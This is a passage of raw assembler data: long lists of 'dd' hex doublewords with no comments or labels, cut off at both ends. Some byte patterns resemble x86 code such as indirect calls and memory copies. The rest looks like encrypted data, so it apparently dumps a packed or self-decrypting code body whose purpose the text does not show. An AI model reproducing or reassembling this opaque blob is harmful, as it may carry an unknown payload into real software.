56341269h dd 6E1C905Dh, 4347136Bh, 12CB90EDh, 2A751361h, 85D427E3h dd 0CF356060h, 25240CE3h, 94095260h, 8E3FF350h, 0F9B10513h dd 24350BDFh, 9A356066h, 8F3918E3h, 0C1095260h, 243FF35Ch dd 94B91213h, 8E3536B7h, 7AB72E21h, 57341880h, 0A88F9676h dd 88341278h, 0C1B91213h, 2435099Bh, 53B72E21h, 0FD341880h dd 0E9B79E61h, 65341263h, 0F774905Dh, 8F47136Bh, 625F90EDh dd 19751361h, 1CD45BE3h, 0B226060h, 432CACDBh, 25471560h dd 12EF90EDh, 0B3751361h, 49D45FE3h, 0A1226060h, 162CACDBh dd 8F471560h, 5A0790EDh, 19751361h, 1CD447E3h, 3356060h dd 432440E3h, 0A7095260h, 173FF330h, 0DB91213h, 42353AFBh dd 78B72E21h, 64341880h, 0F1B79E61h, 334127Ah, 0C46C905Dh dd 1647136Bh, 92AF90EDh, 7F751361h, 2FD477E3h, 9A356060h dd 8F3E04E3h, 0C1095260h, 243FF300h, 94B91213h, 8E350873h dd 2EB72E21h, 57341880h, 84B79E61h, 0CF341260h, 0A25C905Dh dd 2547136Bh, 3EC390EDh, 0B3751361h, 4312FCE3h, 0A9356060h dd 163B34E3h, 0D095260h, 423FF314h, 0A7B91213h, 17351597h dd 26B72E21h, 31341880h, 948F967Fh, 11341880h, 35B11C13h dd 42353F9Bh, 0A9356166h, 1622A4E3h, 0D095260h, 423FF3D4h dd 9FB10C13h, 173FF3D0h, 0B3B6066h, 4318E8DBh, 25461560h dd 1BB90EDh, 0B3751361h, 49D463E3h, 0A9356060h, 162A44E3h dd 0D095260h, 423FF31Ch dd 0A7B91213h, 1735111Fh, 0F6B72E21h, 31341880h, 0BB79E61h dd 56341278h, 6EB0905Dh, 4347136Bh, 201790EDh, 2A751361h dd 85D493E3h, 0CF356060h, 251840E3h, 94095260h, 8E3FF3ECh dd 0C1B91213h, 24353617h, 1ECD1E21h, 883210E2h, 0BFD8FC66h dd 0A709EA99h, 1735371Fh, 88399069h, 0C1BF1566h, 243F887Bh dd 0EEC9C68Fh, 91B72E99h, 4B341249h, 22320DE3h, 0BA8F9666h dd 89341883h, 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh dd 0A2B72E99h, 2D341883h, 113219E2h, 62B72E66h, 4B341883h dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h dd 11321523h, 6DE8905Dh, 0C13D136Bh, 2232156Dh, 73D690EBh dd 0E5DB153Eh, 7FCDEA9Dh, 2FD7CBE3h, 1AB71A60h, 5321566h dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8E3FF084h, 44399069h dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 1635C0D3h dd 0B1879C60h, 0C4341255h, 0A73DFC58h, 11321540h, 8B336BEDh dd 0C5EC9E98h, 227215A5h, 0C48F2E66h, 87341261h, 44321DE4h dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h, 24351A13h dd 15FF90A1h, 88321361h, 0CD521566h, 25012CD3h, 0FFAF9860h dd 77341B66h, 66B01AB5h, 0AF321566h, 1D9B87FBh, 87E1EA60h dd 0BBCDCBE5h, 1B879E99h, 98341255h, 8F36D8D3h, 57AF9860h dd 0DD34182Eh, 0C4B79EB5h, 1341261h, 43012CE3h, 0BFBF7460h dd 173FE831h, 15BFC699h, 423C1559h, 0A13DC699h, 1132156Ah dd 0BB0B90E5h, 0AD371361h, 0DDCDEAB8h, 115A88EBh, 5BCD1368h dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h, 423EBCF4h dd 0A13DC699h, 1132156Dh, 0BB0BA0EDh, 0C4DB1361h, 0A9321561h dd 16012CEBh, 0B1879C60h, 6F341255h, 9EBE2A8h, 0F896E697h dd 77CDEAF0h, 0C5988EBh, 0F1CD136Bh, 9419D2EDh, 8E351A13h dd 454790EFh, 0A7B91361h, 17351A13h, 5BF4531h, 423F5D86h dd 0A7B9C499h, 1735386Bh, 0DB94236h, 42351A13h, 2DBF9836h dd 0EE34182Fh, 3E29EB7h, 49BF3EAEh, 0A134124Bh, 16281CDBh dd 0C3D1560h, 4432154Dh, 221390EDh, 94191361h, 8E350F6Fh dd 0C23DD45Dh, 22321571h, 1F790EDh, 0D311361h, 42350F6Fh dd 91B90EFh, 52DB1361h, 0D9321566h, 497AD4EDh, 22321A99h dd 30B79C26h, 89341266h, 433DA0E3h, 2BB7D260h, 1134127Ch dd 0E2321566h, 54327D26h, 48631566h, 74A7EA66h, 7734127Dh dd 4312C4F3h, 0E7B79C60h, 98341276h, 8F193CE3h, 0F1CD4C60h dd 24353E4Fh, 3C3FA099h, 77651361h, 433D60D3h, 83B79860h dd 0EE34182Bh, 81BF14B6h, 0CF34127Ch, 25193CDBh, 1C879E60h dd 7B34124Bh, 55879EC2h, 8F34124Ch, 11CE53A1h, 49321566h dd 93710A6h, 21244771h, 163DD8E3h, 0A1BF9E60h, 0CD34124Dh dd 64F5B86Eh, 1132159Ah, 99879C66h, 0C734124Ch, 0A73DEA9Eh dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h, 113213A1h dd 4EB11566h, 55879C62h, 0CB34124Ch, 0EECDE380h, 8B31D5A7h dd 433DD8E3h, 0C78F9660h, 10341279h, 88AF9169h, 7AB31566h dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h, 22321566h dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 8CFA8E5h, 1E331361h dd 88322BE2h, 4532AD66h, 9FB11566h, 173FF094h, 80B61A66h dd 0C9321566h, 2F62F7FBh, 91E1EA60h, 0C3D8559h, 4432156Eh dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h, 88A2A566h dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h dd 85D7E7DBh, 0C03D1560h, 2232156Eh, 418088EBh, 5BCD136Bh dd 0CF3652EEh, 25193CE3h, 92F53E60h, 2599118Eh, 44CE53A1h dd 0CB321566h, 0EECDEA77h, 0A223A0EFh, 2C601361h, 22329566h dd 0A4CD150Ch, 8E35340Bh, 51278099h, 0A9681361h, 163004EBh dd 8833D260h, 0C7321566h, 0AFBB11A7h, 17351777h, 77C7058Fh dd 4296FC99h, 0A9521566h, 163004EBh, 13B9E60h, 49D7FBEBh dd 6C0A9460h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h dd 113205E3h, 0BC29E66h, 0C1B913A0h, 24353A17h, 1133138Fh dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh, 0C3D385Ah dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 85879866h dd 0A9341243h, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 243530A7h, 0C7B90EDh dd 48B71361h, 44289069h, 0A7F41566h, 1735092Bh, 2FE07D21h dd 0F1CDC1FCh, 2435078Bh, 6DCC90EBh, 58CD136Ch, 0C1E2EA34h dd 1AB71AA6h, 9A321566h, 8F33E0E3h, 4BF29060h, 22320FE3h dd 5CB7D366h, 0C434127Ah, 9E2EFC0Eh, 0CF87EABFh, 9C341274h dd 824EEBE3h, 16E2EA60h, 0E2B7C599h, 11379069h, 0A9DB1566h dd 0CD321566h, 2FD7FBE3h, 9C644560h, 824594E3h, 4FE2EA60h dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh, 0A952D607h dd 1CD7FBEBh, 49B94560h, 0CF0E5565h, 22329DF6h, 60A79C66h dd 8D34126Dh, 4432159Eh, 0AB3E45EDh, 1637FCF3h, 0CCB94D60h dd 85193142h, 27DB905Dh, 933D1361h, 88321576h, 4F43905Dh dd 0A13D1361h, 11321562h, 8836D707h, 6036D207h, 22321566h dd 151651A1h, 88321566h, 443210DEh, 96BF9866h, 0EE34122Bh dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah, 88321524h dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h, 0C03DFE5Ah dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h, 0EAC99667h dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h, 0A89ED555h dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h, 113230E2h dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h, 0C1F5D638h dd 243FF3D8h, 11321560h, 6BB20BECh, 0C4C99596h, 0DDD19069h dd 9A7CEA99h, 8F35C0E3h, 89A79E60h, 0A9341262h, 17F196B8h dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh dd 110BA0EFh, 4A6D1361h, 4CB14B3Fh, 0BE52FC62h, 0A7F5EA99h dd 173FF3D8h, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h, 8832EA87h dd 0CFEB3E66h, 2535C0E3h, 0DCA79E60h, 0B341262h, 432D50DBh dd 0A63D1460h, 113215C5h, 0A3DCD5Dh, 443215FDh, 0A03DCF5Dh dd 0EECDEA27h, 88329B8Fh, 0FAB7D266h, 20341880h, 9A321566h dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 423512B3h dd 26FF80EDh, 0ACB11361h, 8E350A23h, 0CB61A67h, 19321566h dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h dd 8B2A568h, 85381A87h dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 43012CD3h, 67B7D260h dd 10341279h, 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h dd 40F69638h, 0DDCBD28Fh, 0AFB7D299h, 8D341880h, 0CF321566h dd 26F196B8h, 94B90B65h, 8E3512B3h, 40FF80EDh, 0A17C1361h dd 162C50DBh, 0C3D1460h, 44321465h, 0A03DCD5Dh, 1132156Eh dd 0E3DCF5Dh, 4432154Dh, 110BA0EFh, 8CB91361h, 8E3FF3D8h dd 48164967h, 2232CB8Fh, 94F54A66h, 8E350B23h, 44321567h dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 432D50DBh, 0A63D1460h dd 113215DDh, 8FE7884Dh, 0C9B91361h, 24351A13h, 0DE19DE65h dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h dd 0C1F5EA99h, 243FF3D8h, 11321564h, 3E3DCBEDh, 0C4CB9568h dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h dd 1132EA87h, 3EB3E66h, 4335C0E3h, 0EFA79E60h, 0F8341262h dd 77CDEA20h, 0A28C90A1h, 2230136Bh, 0CFB91566h, 83CA369h dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h dd 0DDD394BFh, 3A321566h, 5DB79EBFh, 0CF341261h, 2536D8F3h dd 548F9660h, 89341279h, 0BAFB9169h, 0FA09EA99h, 113A9769h dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h, 0C9B1CA4Dh dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h, 113255E2h dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h, 1EDB1566h dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h dd 40FF98EDh, 0EBB71361h, 11349069h, 3DBB1566h, 423511ABh dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h, 0A2C2F6E6h dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h, 953DFE5Ah dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah, 88321551h dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h, 0A70E1566h dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h, 1636D8D3h dd 9BAF9860h, 0BB34182Eh, 72F1ECB5h, 982253EDh, 8F1BA0E3h dd 82B14D60h, 0F78F987Ah, 0BC34127Ch, 0AC165165h, 0B58F98CDh dd 8F341240h, 35165165h, 35BFBE36h, 4235144Bh, 67616CBh dd 0D26CBE4Eh, 64AF9830h, 0BB341821h, 0FF95FCB5h, 0CEDFFFFFh dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 48322EC0h, 0A8ED96A4h dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4387A65Ah, 1332DCF1h dd 0BA8C189Eh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h dd 591BD138h, 0DF07462Ch, 52A5E5E5h, 3C6D5h, 5492B85Eh dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0E17ABC2Fh dd 3C52505Ah, 0BC760811h, 0B977DDD3h, 0F4B95163h, 0B575DF79h dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh dd 83354A98h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 5E17FB23h dd 25FB776Ch, 0FDF53FD5h, 78326CADh, 0B7342291h, 23AC7ACFh dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73F0AAF0h, 0BB60FFA0h dd 0C87D7C22h, 0F305E983h, 8DDB8BA4h, 0DE6CABDh, 0B18D8D06h dd 0B8060E01h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h dd 0F2850F49h, 8BFFFFFFh, 1BD83C0h, 60731h, 0BD830975h dd 6070A55h, 50197400h, 0B8C08B53h, 411h, 217D8589h, 9D8D0607h dd 609B459h, 585BD3FFh, 0A55BD83h, 74000607h, 0B8535017h dd 411h, 217D8589h, 9D8D0607h, 609B0FAh, 585BD3FFh, 0F2BBC08Bh dd 0EB4672A4h, 8, 4CD50D00h, 4CFE919h, 43680000h, 0E9060E04h dd 0FFF97A26h, 0E04D168h, 7A1CE906h, 4968FFF9h, 0E9060E06h dd 0FFF97A12h, 5EA6E2C5h, 97FFA183h, 244C1A7Ah, 7C84C829h dd 88D084E1h, 95F6ED69h, 4FAAA7CFh, 21CF119h, 0F1D10C54h dd 28CC43ABh, 3C877CFh, 0F5AF3703h, 0EC6A3C14h, 0E572E8B8h dd 0FD7B2D04h, 2B0419C9h, 6D4AA77Dh, 0D5753127h, 6FE0C653h dd 0F31B4315h, 0A07A3B29h, 81D7330Eh, 73E5B38Ch, 5F909333h dd 0BF0F34E9h, 637CDD77h, 0C383C335h, 0EA50EA65h, 418030Ah dd 8BEAA9B0h, 19B1B5E1h, 0B7000003h, 90F69969h, 79339405h dd 0F43C8233h, 49A0DD5Eh, 0F2500F34h, 0A71BD01h, 8DB5FD03h dd 1FC0F168h, 20267E91h, 855ED973h, 35F45615h, 0F63023CBh dd 0B268EDDBh, 6866FD41h, 4D75BDF8h, 4A6B79CBh, 3C2CA790h dd 7848F251h, 21774FA2h, 782E04D9h, 0BE2256E1h, 0C5989E0Dh dd 32Ah, 0B2DA8EE1h, 0CB13455Fh, 18603616h, 50B8ECC5h dd 0ECF4A0BDh, 0B192114Dh, 63469BE3h, 0DE38D53Dh, 95ED6088h dd 4CE8A7CFh, 3CF4BF3h, 219B0B03h, 6C267F95h, 7FC730CAh dd 3F050DCBh, 0CBB204F7h, 0C2F2050Dh, 8FFF7802h, 3F0F3FC6h dd 0E3FC5DF7h, 0FF881573h, 1B4FB1E7h, 0E8F03849h, 5DDE1875h dd 303E4D9h, 0F3A999h, 303E4BEh, 888EB6FEh, 0F34BB44Eh dd 0B30303E4h, 0D960C383h, 40303E4h, 60E1782Eh, 840F2EE9h dd 29CEF8Eh, 1C730000h, 0CB29244Ch, 84E07D85h, 7E578AD2h dd 320FC22Ah, 83FF1E66h, 9510760h, 43ABFDD4h, 9EE6AC8Eh dd 0D53D6343h, 0D95DDE7Ah, 990303CFh, 7F95B309h, 0E3936C26h dd 750F3FC6h, 0C8DE60D3h, 969E0303h, 603A0AF6h, 7EF8AC89h dd 46909636h, 370D88EBh, 8A693961h, 303C830h, 89906478h dd 0B5E86ACAh, 1C751h, 44A29700h, 89E5441Eh, 79295DDBh dd 5E0462FFh, 79FA9C36h, 50DCBC5h, 27EDBD85h, 1D43A121h dd 7F3C3FD5h, 3F0F3498h, 2C8E01F7h, 64030AFAh, 0BE858C60h dd 45B5E198h, 37h, 267F9583h, 0C1DA936Ch, 0A3A0F34h, 0C12F930Ch dd 6367030Ah, 231CB689h, 30AC19Bh, 1276EBDBh, 0CA9ACA4Ch dd 0E1754300h, 57B28FB5h, 65ADFBD4h, 0FF5AA5h, 0E59E0000h dd 0A9792F04h, 2E287E54h, 0A79056B3h, 50DCB1Fh, 7FC8915Fh dd 8903C65Dh, 26F7DF41h, 0B5D1AAAAh, 280E8B8Dh, 942A862h dd 93BCE04Fh, 9405E3A3h, 5380E8BEh, 50D8B8Dh, 46C3210h dd 0DE59E8FEh, 50D8058h, 0C2341879h, 9EC6EE82h, 6DD122C4h dd 2D050D80h, 0E5BF4505h, 804EF043h, 260E050Dh, 9086CA2Bh dd 683734D4h, 940F3253h, 50B3C96Ah, 8CB48CABh, 0C4DD3CD6h dd 106DF090h, 0E4A08E44h, 0E3A98EF7h, 0C8CF3175h, 9FF7973Ah dd 82E66142h, 96BD94DCh, 0A6031719h, 124CDA0h, 84EB0000h dd 43A1BCC4h, 3C18F51Dh, 0F6CF026Ah, 0AA875AA2h, 0B4796FEh dd 81E9BF98h, 0DB23754Ch, 167E2406h, 0ADB59BFBh, 51E556F2h dd 110303CDh, 4E52B81h, 351AD2Eh, 34295DDBh, 0D88C8ADCh dd 59D83508h, 62221478h, 919A603Ah, 82F708BEh, 8D408858h dd 0D87EFB5h, 0BB70C63Fh, 0E7A76AB8h, 1E44A27Dh, 0F359B918h dd 520341EBh, 1E42A1B8h, 2C12B44Eh dd 1963859Eh, 0E35BA422h, 0A3050D83h, 0B8BB6B93h, 0F34F556h dd 3514CEF6h, 0C58177DDh, 81E27F05h, 453339D3h, 4FF2DCC6h dd 0C690EC61h, 0AD0DCE06h, 8C030A7Ch, 4598E0B6h, 0C58BE968h dd 6FC29B9Dh, 7E000000h, 6C267F95h, 3FC6EF93h, 0D330090Fh dd 0BDB8B8Dh, 68E96F57h, 213C440Ah, 7B9D9BC1h, 0BDB81E6h dd 0C52F1E28h, 72F1CF20h, 91D54311h, 1572EF69h, 58B2C94Fh dd 0C4DE6F54h, 0B48759F0h, 1C411502h, 4FD27242h, 4D92177h dd 63FE782Eh, 79D85E02h, 52CF491Fh, 50372177h, 234D727Ah dd 2D05D5DFh, 0E4C21F67h, 325B8BEh, 5F000000h, 4BA2FF79h dd 58BE1B1Dh, 0B99504F2h, 95EC6DEBh, 0EBC455C3h, 0FDDEBBBDh dd 0D330A197h, 2E0E8B8Dh, 163FE78h, 5732D95Fh, 0C7815F54h dd 4, 8704EF83h, 575C243Ch, 0C781E789h, 4, 4EF81h, 3C870000h dd 2C895C24h, 744C6824h, 3C890000h, 67B95124h, 51060E03h dd 0F0242C81h, 5D46970Dh, 0DF0C581h, 54594697h, 81243C8Bh dd 4C4h, 4815500h, 49650924h, 8478F4Fh, 6509B850h, 47294F49h dd 34FF5808h, 0C4835F24h, 2434FF04h, 4C4815Dh, 0E9000000h dd 0FFF9756Eh, 9804750Fh, 0D07FA7B3h, 0EBBDE01Bh, 792B86Ch dd 0C503060Eh, 0CC98E0FFh, 9F9E4BA1h, 0E5D6178h, 1424047Ch dd 0F2D74148h, 9BC56CDAh, 731B37F3h, 0ED475C09h, 943A5A9Bh dd 2E891882h, 0EDD92285h, 496D34A4h, 0CBAB2B16h, 0D576B4Bh dd 0DA0407A0h, 0B7721F3Fh, 0DD922D36h, 5BF47C39h, 17821CCFh dd 0E39C64EDh, 4EB7565h, 1E66B37Eh, 559E9h, 91F7DE00h dd 0EABC9449h, 27714F82h, 7F2502DFh, 0CB99FA17h, 0CBD892A3h dd 0BF52BAEEh, 71ECF4A4h, 2A274F15h, 0A17E86CCh, 0C3823407h dd 52C20303h, 1E44A2D8h, 85CB918h, 4F156DE0h, 246A48C9h dd 1B4DA732h, 0BE36901Dh, 7880D62Ch, 0B3DB89E5h, 7C167C5Eh dd 2B05849Dh, 83C3357Dh, 9DF465C3h, 0F6CC4DCBh, 0CB2BB6A0h dd 0EDF59385h, 445CA207h, 0CB53D970h, 8FC45EC6h, 7052AF7Fh dd 65D66822h, 50DBCD1h, 0E9E1A191h, 819D1E74h, 783E39D3h dd 38050DBCh, 700AC008h, 60D6BA99h, 0BC8F3724h, 0E7CF050Dh dd 0ED4EC127h, 1A050DBCh, 266DF4F8h, 0A8AFDAE2h, 36207451h dd 6751AE7Eh, 97000000h, 181E44A2h, 0DCB1DA7h, 2094EE05h dd 32847709h, 72050DCBh, 0A7F1CF42h, 0BF55F5B1h, 0AFDA6AD8h dd 792F071Ah, 856A9h, 5FB20000h, 60241246h, 46A23AA0h dd 59BB2610h, 0B39001F7h, 3979602Bh, 0A6BF1BE9h, 2710CAF2h dd 50D519Fh, 0A9AFD7DFh, 0C1DD3C04h, 1D97F393h, 0D921774Dh dd 10782E04h, 1F49A7BAh, 17E5954Fh, 7E4B42C6h, 1878D5EBh dd 0C484C036h, 879D1C79h, 752F67D1h, 0DDB348Ah, 44C7405h dd 0FBAD8712h, 0F4F89A7Dh, 0B16B391Ah, 12F1784Bh, 0BEF66036h dd 4A99F9B0h, 879F729Ah, 9AFA67D1h, 0A2A64ACCh, 0A790C74Ah dd 7637AFDAh, 3D000000h, 4EF043E5h, 0E050DCBh, 0BE9B6626h dd 93ED6CEAh, 0E8EA53C5h, 5B096A04h, 97FDDE33h, 8DD330A1h dd 7CC23DD7h, 4E050DCBh, 0CB87D3FEh, 0BC8478C7h, 0C62D43B2h dd 5808F85Bh, 0BE362ADEh, 0DB400C5Bh, 5AB3AFh, 0B8910000h dd 0A258085Eh, 251341A2h, 58DE59F3h, 18050DCBh, 3D817228h dd 7D050DCBh, 0AE889535h, 0F1CF22F8h, 55F5B1A7h, 4EA6BCD3h dd 0EDF5A3BCh, 1046A217h, 71DFC26h, 0FFAFE751h, 0DCBBF7Ch dd 0C22A4805h, 0DA6AF85Fh, 0D720FAAFh, 0FAF23F6Fh, 48246A4Eh dd 157A878h, 9D000000h, 4FD43E5h, 3658F998h, 0D7A6181Bh dd 0DEE6050Dh, 83D5330Eh, 782E0495h, 248890FEh, 0D43C6A4Ah dd 0A203F07Eh, 0A193AE9Ah, 0BE3D2BE1h, 711B4762h, 0ECA6EED4h dd 0CD9BF74Ah, 818D1E1Dh, 360B0F34h, 0B68D80D6h, 903074E2h dd 0C752C4ECh, 44126CEFh, 7EA6EAC9h, 276D45A4h, 94F26F67h dd 226A3E1Bh, 0A201BB34h, 0CE24030Ah, 22039E98h, 0B561BCB8h dd 149DAF6h, 921A7017h, 0F34ECA2Dh, 0FA1ECE92h, 543A18F2h dd 1246A3BEh, 0A8A06024h, 55031FF2h, 1EE3A3E3h, 75E45238h dd 0DF85E21Dh, 9316742h, 9970940Fh, 40F641B9h, 30A54h dd 38150830h, 0EABAEA6Ch, 1E7406EEh, 0FD5A2048h, 84B5E209h dd 183h, 0F9D09A60h, 32FD1145h, 7F95E892h, 0B08D6C26h dd 9D9E24E4h, 0F34F4E8h, 8F623808h, 3571E7B1h, 20069395h dd 0E7FF127Ah, 87B00277h, 7CA4AE8Fh, 51071FFAh, 41D87CE7h dd 5DCF3167h, 0C5322463h, 9F157111h, 1A74F7CFh, 529ACA4Ch dd 34E3A00Ah, 55EFB5E2h, 0A7554EAh, 7DC13203h, 3D030A75h dd 994979F5h, 6D86h, 4E54200h, 0B7FF792Fh, 5AD43D17h, 34EE167Ch dd 0DCB83CBh, 50A34505h, 50DCBEEh, 0BAE2C3DCh, 0EF8346D0h dd 6B5B07C7h, 48CC72EDh, 0E0BA050Dh, 0FE782C09h, 4863DB24h dd 1323050Dh, 0D5DF3BEBh, 0F74FA842h, 0B7050D48h, 1C75DF8Fh dd 2EE4B292h, 0D4869CDh, 0D1192905h, 4876383Bh, 0AE96050Dh dd 6D3B15F4h, 0E3EBBBEBh, 0AE92h, 7F952E00h, 3E936C26h dd 0B80F3496h, 993118E6h, 0A13CC2E4h, 0A130CB2h, 83D12D03h dd 0C01DD195h, 0D575BDE3h, 0A4F2CC29h, 6D4BA67Ch, 0C8D6B3Bh dd 0C5186036h, 3EB1A7EDh, 30A107Fh, 0D76A4258h, 414FAC69h dd 93330910h, 9AE2A88Eh, 298D6E00h, 69030A8Ch, 45838959h dd 94F47A10h, 8F521D5Bh, 0B4875D0Dh, 9389591h, 0BD570D35h dd 495FC42h, 0E5B2BC05h, 5ED4BC23h, 0A583438Bh, 8E88DE34h dd 0E8CB26E0h, 56F6BEB8h, 0F117BA32h, 0B254EEA4h, 490FD41h dd 9875BD05h, 2460D6B8h, 98AC8764h, 38080F36h, 41F47AD0h dd 0FC8BC4CAh, 957EE4A4h, 0EABBE07Fh, 5C11E762h, 5BA47E14h dd 50D7DE3h, 29F393A3h, 3F75FBCEh, 0E1575F0Fh, 244C1270h dd 0EDB3936Eh, 49C2203Dh, 5AF0386Ch, 557F9CD4h, 0CB9BF9C8h dd 7498F26Dh, 11751B9Bh, 0BDE3C39Bh, 0F45AB855h, 286AD002h dd 0B9DB8D2Fh, 7859A464h, 0C2442214h, 0D147116Fh, 0BA7CFF95h dd 0FA1B6B52h, 0F6FE1ACAh, 30580E64h, 0C59FC5DDh, 0DA5C0A64h dd 617CFAAAh, 3, 0A2FF799Bh, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h dd 0C455C395h, 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h, 63FE782Eh dd 32D95F01h, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 68243C89h dd 5EEFh, 68240489h, 45A5h, 68242C89h, 3E80h, 0B9240C89h dd 60E087Ch, 5459C889h, 83242C8Bh, 895704C4h, 87D89C7h dd 83243C8Bh, 34FF04C4h, 0C4815D24h, 4, 582434FFh, 0E904C483h dd 0FFF96FA6h, 77B88163h, 3060E0Dh, 89E0FFC5h, 60780A5Bh dd 4828DB54h, 0DE42C711h, 241FEFCFh, 5E0EC737h, 1A33AF7Bh dd 663D2789h, 85562C21h, 1B00222Eh, 73742B3h, 0D5133FADh dd 0A172C23Bh, 0FB6B1639h, 0A22AD87h, 172FAC40h, 257CDC00h dd 0DD39E53Bh, 0A5F4955h, 393773BAh, 2A222C2Eh, 0E166416Eh dd 2B595A96h, 0E57B0717h, 63130F3Fh, 23147BABh, 0E84B9DA1h dd 8649202Ah, 0E92BF377h, 0EDh, 0D88C6660h, 840F04A8h dd 0DFh, 211DB58Bh, 0FE830607h, 22850F00h, 0C6000000h dd 71C4D85h, 69684506h, 0FF8E7269h, 701A9B5h, 0FE858D06h dd 0FF060A7Ch, 398589D0h, 8B06071Fh, 0E93E80F0h, 31850Fh dd 858D0000h, 60C7866h, 0BD8BD0FFh, 60729C9h, 1184C781h dd 0B58B0000h, 607211Dh, 8B9F787h, 0F3000000h dd 1DB58BA4h, 8D060721h, 0AB2EC85h, 8BD0FF06h, 71985B5h dd 0FE8306h, 22850Fh, 85C60000h, 6071C4Dh, 0BEF46854h dd 0B5FFFF4Eh, 60701A9h, 7CFE858Dh, 0D0FF060Ah, 19858589h dd 0F08B0607h, 0FE93E80h, 3A85h, 85B58B00h, 8D060719h dd 0C786685h, 8BD0FF06h, 729C9BDh, 84C78106h, 83000011h dd 0B58B08C7h, 6071985h, 8B9F787h, 0F3000000h, 85B58BA4h dd 8D060719h, 0AB2EC85h, 61D0FF06h, 53858DC3h, 89060E0Eh dd 7071185h, 0CE04EB06h, 0E9426A90h, 59Bh, 0AEB692F5h dd 